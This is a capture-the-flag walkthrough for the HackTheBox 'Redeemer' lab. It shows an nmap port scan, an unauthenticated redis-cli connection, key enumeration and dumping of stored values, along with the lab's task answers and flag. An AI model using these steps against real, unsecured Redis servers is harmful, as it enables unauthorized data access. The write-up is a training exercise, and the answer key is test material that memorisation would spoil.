


Redeemer





Redeemer
VERY EASY

0 of 11 tasks completed ^

Tags

RedisPenetration Tester Level 1Vulnerability AssessmentDatabasesReconnaissanceAnonymous/Guest Access

SOFT RESET
Reset Machine

OPEN
Walkthrough

10.129.32.132

Q/A Section (Check NMAP enum)

1)

TASK 1

Which TCP port is open on the machine?

6379

SUBMIT ANSWER


HINT

2)

TASK 2

Which service is running on the port that is open on the machine?

****s



redis

Hide Answer

3) Redis is an **open source (BSD licensed), in-memory data structure store** used as a database, cache, message broker, and streaming engine.

TASK 3

What type of database is Redis? Choose from the following options:

(i) In-memory Database, (ii) Traditional Database

in-memory database

SUBMIT ANSWER

HINT

4) The Redis command line interface (**redis-cli**) is a terminal program used to send commands to and read replies from the Redis server.

TASK 4

Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

redis-cli

SUBMIT ANSWER

HINT

5)

TASK 5

Which flag is used with the Redis command-line utility to specify the hostname?

-h

SUBMIT ANSWER

HINT

6)

TASK 6

Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

INFO

SUBMIT ANSWER

HINT

7) (NMAP enum)

TASK 7

What is the version of the Redis server being used on the target machine?

5.0.7

SUBMIT ANSWER

HINT

8)

TASK 8

Which command is used to select the desired database in Redis?

select

SUBMIT ANSWER

HINT

9)

TASK 9

How many keys are present inside the database with index 0?

SUBMIT ANSWER

HINT

10)

TASK 10

Which command is used to obtain all the keys in a database?

SUBMIT ANSWER

HINT

11)

SUBMIT FLAG

Submit root flag

SUBMIT FLAG

NMAP enumeration

Task number 1 is to find which TCP port is open on the machine, to speed up the enumeration process we have to follow the clue that HackTheBox gives us, 4 digits, ending in 9.

So the lowest possible number in this case is 1008 and the highest 9999, this way we can reduce the nmap timeout incredibly.

The commands are as follows.

-sV : service enumeration
-p1008-9999: Port range
-Pn : Skip pings

```
root@kali: /home/scarly
Redeemer / NMAP enumeration

(root@kali)-[/home/scarly]
# nmap -sV -p1008-9999 10.129.32.132 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-17 04:50 CST
Interactive keyboard commands:
?           Display this information
v/V         Increase/decrease verbosity
d/D         Increase/decrease debugging
p/P         Enable/disable packet tracing
anything else Print status
More help: https://nmap.org/book/man-runtime-interaction.html
Nmap scan report for 10.129.32.132
Host is up (0.29s latency).
Not shown: 8991 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
6379/tcp  open  redis    Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.42 seconds

(root@kali)-[/home/scarly]
#
```

As we can see, it only took us a minute to come up with the result. Now we got the first two answers

redis-cli

```
(root@kali)-[/home/scarly]
# redis-cli -h 10.129.32.132
10.129.32.132:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
```

arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:753
run_id:828f060d36c7687a4ede640828323f3f50169063
tcp_port:6379
uptime_in_seconds:13117
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:7738780
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

Clients

connected_clients:1
client_recent_max_input_buffer:4
client_recent_max_output_buffer:0
blocked_clients:0

Memory

used_memory:859624
used_memory_human:839.48K
used_memory_rss:5988352
used_memory_rss_human:5.71M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.00%
used_memory_overhead:846142
used_memory_startup:796224
used_memory_dataset:13482
used_memory_dataset_perc:21.26%
allocator_allocated:1447392
allocator_active:1867776
allocator_resident:9109504
total_system_memory:2084024320
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.29
allocator_frag_bytes:420384
allocator_rss_ratio:4.88
allocator_rss_bytes:7241728

rss_overhead_ratio:0.66
rss_overhead_bytes:-3121152
mem_fragmentation_ratio:7.32
mem_fragmentation_bytes:5170736
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0

Persistence

loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1668670948
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:417792
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

Stats

total_connections_received:7
total_commands_processed:8
instantaneous_ops_per_sec:0
total_net_input_bytes:334
total_net_output_bytes:18172
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0

CTF

So in this database we should enumerate all the keys in there and then select the stored data.

```
10.129.32.132:6379[4]> select 0
```

OK

```
10.129.32.132:6379> keys *
```

1) "stor"

2) "numb"

3) "flag"

4) "temp"

```
10.129.32.132:6379> get flag
```

"03e1d2b376c37ab3f5319922053953eb"

```
10.129.32.132:6379> get stor
```

"e80d635f95686148284526e1980740f8"

```
10.129.32.132:6379> get temp
```

"1c98492cd337252698d0c5f631dfb7ae"

```
10.129.32.132:6379> get numb
```

"bb2c8a7506ee45cc981eb88bb81dddab"

```
10.129.32.132:6379>
```

Obviously "flag" is the correct one: 03e1d2b376c37ab3f5319922053953eb